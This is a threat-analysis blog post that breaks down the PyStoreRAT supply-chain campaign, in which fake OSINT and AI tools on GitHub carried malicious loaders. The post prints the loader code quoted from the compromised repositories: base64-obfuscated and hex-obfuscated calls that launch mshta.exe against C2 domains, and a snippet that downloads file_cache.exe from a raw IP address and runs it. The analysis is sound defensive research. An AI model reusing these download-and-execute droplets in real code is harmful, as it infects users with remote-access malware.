Breaking Down the PyStoreRAT OSINT tool supply chain attack

Breaking Down the PyStoreRAT OSINT tool supply chain attack

Bright Eye Intel2025-12-28
Threat Analysis

Supply Chain Attack: PyStoreRAT

January 11, 202610 min read
This article will be exploring the distribution methods and exact ways in which attackers actually deploy supply chain attacks. I'll be doing a full breakdown of some of the compromised repositories involved in this attack. We'll be taking a deep dive into the distributio of the PyStoreRAT Malware, as dubbed by Morphisec. This article is heavily based on information from the original Morphisec report. (Direct PDF link - always click with care!), aswell as my own personal tinkering.

I recently came across a fantastic article shared on the Reddit OSINT community discussing the discovery of the PyStoreRAT Malware supply chain attack that specifically targeted OSINT tools (and, debatedly less consequentially, the GenAI community). The supply chain attacks were being executed through GitHub, where malicious actors have been publishing seemingly innocent AI/OSINT tools that have generic functionality, whilst taking advantage of the pervasive MSHTA attack vector on Windows. The full details of how this attack worked is available in the above linked Morphisec report, but to summarise, here's exactly how the attack was distributed:
  • Numerous previously-dormant GitHub accounts reactivate, rapidly publishing polished (and very likely AI generated) tooling - including LLM Wrappers and OSINT tools
  • They employ proliferation tactics like accounts following one another, faking star ratings and posting on social media to improve legitimacy and popularity
  • As these repositories are downloaded and used by victims, attackers push seemingly innocuous "maintenance" commits containing a malicious python loader
  • Python loaders use various different methods to launch the MSHTA executable, and download the actual JavaScript Payload. Downloads and telemetry data are communicated with various Command and Control endpoints.
If you are new to a lot of the concept's I've just mentioned, they'll be explained further on.

1. What is a supply chain attack?

Supply chain attacks are cyber attacks that occur when a previously trusted third party vendor, for example a code repository (npm, GitHub, pypi etc) is sabotaged. As a result, "downstream" customers are at risk. This may be through direct interference with previously trusted sources, or could be result of a malicious actor publishing useful and trusworthy resources, and playing the "long game" by waiting for their code to be widely integrated before deploying their attack payload. A particularly poignant example is the recent Shai-Hulud (yes, like the worm from Dune), and consequent further Shai-Hulud 2.0 (also like the worm from Dune) attacks, where thousands of different npm packages were infected. Some readers will also recognise the namesake as no mistake - Shai-Hulud is also a self-replicating worm, with the second variant being particularly aggressive. It's believed that this initial third party compromise is a result of phishing attacks targeting package developers. The extreme pervasivesness and aggressiveness of this attack exemplifies just how broad and far reaching supply chain attacks can become. This recent wave of OSINT repository compromises are not as pervasive or potent, but as we will see, also utilises similar tactics to conceal itself.
Image depicting a supply chain attack
Illustration demonstrating a Supply Chain attack

2. What is MSHTA?

MSHTA, or the Microsoft HTML Application Host is a Windows utility that can arbritrarily execute HTML Application code (HTA), which includes HTML and scripting languages including VBScript and JS. It is effectively a browser engine, that runs codes outside of a browser sandbox. This makes it an extremely powerful attack vector, enabling many easy persistence methods and arbitrary code execution.

Diving into the distribution

I'm going to be doing a detailed, specific deep dive into the mechanics of how this attack was distributed. As you may imagine, the majority of infected repositories have been removed from GitHub - however some still remain. I've defanged the URLs on this article - whilst going to GitHub itself is not dangerous, you can never be too sure. Navigate to them at your own risk. Let's start looking at our first Repository.

Repository 1 - SoraMax

hxxps[:]//github[.]com/rizvejoarder/SoraMax
On first impression, this is a very polished loking repository (granted with evidently AI generated markdown). It's also noteable that, unlike the other repoistories that have been taken down already, this one has no stars and very little activity.
The tool is purpoting to be a wrapper tool for generate Sora prompts (which is basically shareware in itself...). Let's look at this first snippet, under soramax_modern.py. The first thing we notice is the subprocess call nestled amongst the other code, and the Base64 encoded text. This is a very common obfuscation technique, to make static analysis marginally harder.
python
subprocess.Popen([base64.b64decode('bXNodGEuZXhl').decode('utf-8'), base64.b64decode('aHR0cHM6Ly9ub2RlMi1weS1zdG9yZS5jb20=').decode('utf-8') ],shell=True,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)
De obfuscating, these two strings turn into mshta.exe and hxxps[:]//node2-py-store[.]com respectively.
As a result, python is loading the mshta.exe subprocess and automatically downloading the data available at the URL. As outlined in the Morphisec report, this C2 URL is now dead.

Repository 2 - Spyder

Our next tool is a lot more understated. It has been forked from another repository that has also been taken down - presumably for also being malicious. The first thing you may notice is the name - this name was likely chosen to impersonate the popular Spidefoot OSINT tool suite. Most likely this is to naturally increase mistaken downloads. As for actual distribution of malware, this one is a bit more blatant. Our immediate IOC is a blaring raw IP address: 176[.]65[.]132[.]139/file_cache[.]exe. As we're only discussing distribution here, I won't be inspecting these files any further - however as you can imagine, there is no non-malicious reason for an OSINT tool to have an endpoint URL like this within its code.
Sticking this IP address into Bright Eye Intel's Trinity tool reveals this IP is a datacenter & Proxy IP belonging to  vmheaven[.]io, a hosting company that prides themselves on zero logging, security, privacy and accepting crypto payments (of course making them prime cloud hosts for malicious actors).
python
url = "http://176.65.132.139/file_cache.exe"
temp_dir = tempfile.gettempdir()
local_path = os.path.join(temp_dir, "file_cache.exe")

with requests.get(url, stream=True) as r:
    with open(local_path, "wb") as f:
        for chunk in r.iter_content(chunk_size=8192):
            f.write(chunk)

process = subprocess.Popen(local_path, shell=True)
The remainder of the above snippet again simply writes the binary to disk in a temp file, and executes the binary in the shell. The distribution of this version seems less sophisticated - viewing the commit history, both the initial upload and addition of the malicious script was done on the same day, meaning this repository had no grace period to pick up traction.
Image of the commit history
Image of the commit history

Repository 3 - EasyTV

Our next repository is an IPTV software. Interestingly, this repository is in full Chinese, and is signficantly more popular than our first two repositories. The code itself does and equally poor job of obfuscating its malicious intent, with the MSHTA executable and Command-and-control endpoints being humanly readable within a tol-level file.
python
def checkUpdates():
    try:
        subprocess.Popen(
            ['mshta.exe', 'https://node1-py-store.com' ],
            shell=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
        return True
    except Exception as e:
        return False
This repository has followed the expected long-game modus operandi, with the malicious code only being uploaded over a month after the repository establishes itself.

Repository 4 - Spyder 2

As previously discussed, many of these repoistories are forks/copies of one another - as such, many of our sources will be duplicates of one another. It is worth noting that the author responsible for the first Spyder repository in this article has a second copy - this time, with a different C2 endpoint. Rather than using the IP address we saw previously, this version of the repository has seen multiple C2 endpoint over the course of the month. Whilst checking through the commit history for this repository, I've also found traces of code indicating that the original author has simply pulled and copied the Photo URL Crawler and pasted it in as a resource in their repo.
Looking further into this user account, it has an extreme amount of activity, with over 510 contribution over the last year and over 970 repositories on the account. It's also clear that the account has a lot of contributions also being made via AI Codegen and very strange activity patterns, creating 100+ repositories at a time. Why the account may be behaving in this manner is unknown, but it could to obfuscate actual account activity or simply data hoard.

Repository 5 - HacxGPT

The aptly named "HacxGPT" tool uses much more to hide its malicious intentions, employing much deeper level code obfuscation to mask over its employment of the calls to MSHTA and the associated C2 endpoints.
python
def _init_crypto_stream():
    _p1 = bytes.fromhex('6d7368')
    _p2 = bytes.fromhex('7461')
    _p3 = bytes.fromhex('2e65')
    _p4 = bytes.fromhex('7865')
    _p5 = bytes.fromhex('687474')
    _p6 = bytes.fromhex('70733a')
    _p7 = bytes.fromhex('2f2f6e')
    _p8 = bytes.fromhex('6f6465')
    _p9 = bytes.fromhex('322d70')
    _p10 = bytes.fromhex('792d73')
    _p11 = bytes.fromhex('746f72')
    _p12 = bytes.fromhex('652e63')
    _p13 = bytes.fromhex('6f6d')
    _t1 = (_p1 + _p2 + _p3 + _p4).decode('utf-8')
    _t2 = (_p5 + _p6 + _p7 + _p8 + _p9 + _p10 + _p11 + _p12 + _p13).decode('utf-8')
    return _t1, _t2
No winning prizes for guessing what _t1 and _t2 return as. This function is called by a parent function named _start_background_process() which executes at the top level of this script.

Wrap Up

So to review - we've taken a look at the real methods used by attackers to actually distribute their attacks. Whilst the attack vector itself is relatively common, the targeting of developers & OSINT specialists makes this of interest. It also shows a massive risk taken with modern software engineering. It's a known fact that it is typically sage advice to ensure that your systems and software are operating on the latest patch, however with ever increasing attacks of this nature, security specialists may need to start making a judgement call about when to update. Do you leap straight into pulling the most up-to-date patch, thus opening yourself up into an unwitting supply chain attack, or do you risk it and potentially leave a hole in your defenses with out of date software? This attack is a really nice example of how Social Engineering, supply chain attacks, and multi-stage distribution phases can be employed to create relatively simple, but effective distributed cyber attacks. Once again, for signficantly more in depth (and probably better written!) research on this attack, read the original Morphisec report.
Happy new year from Bright Eye Intelligence.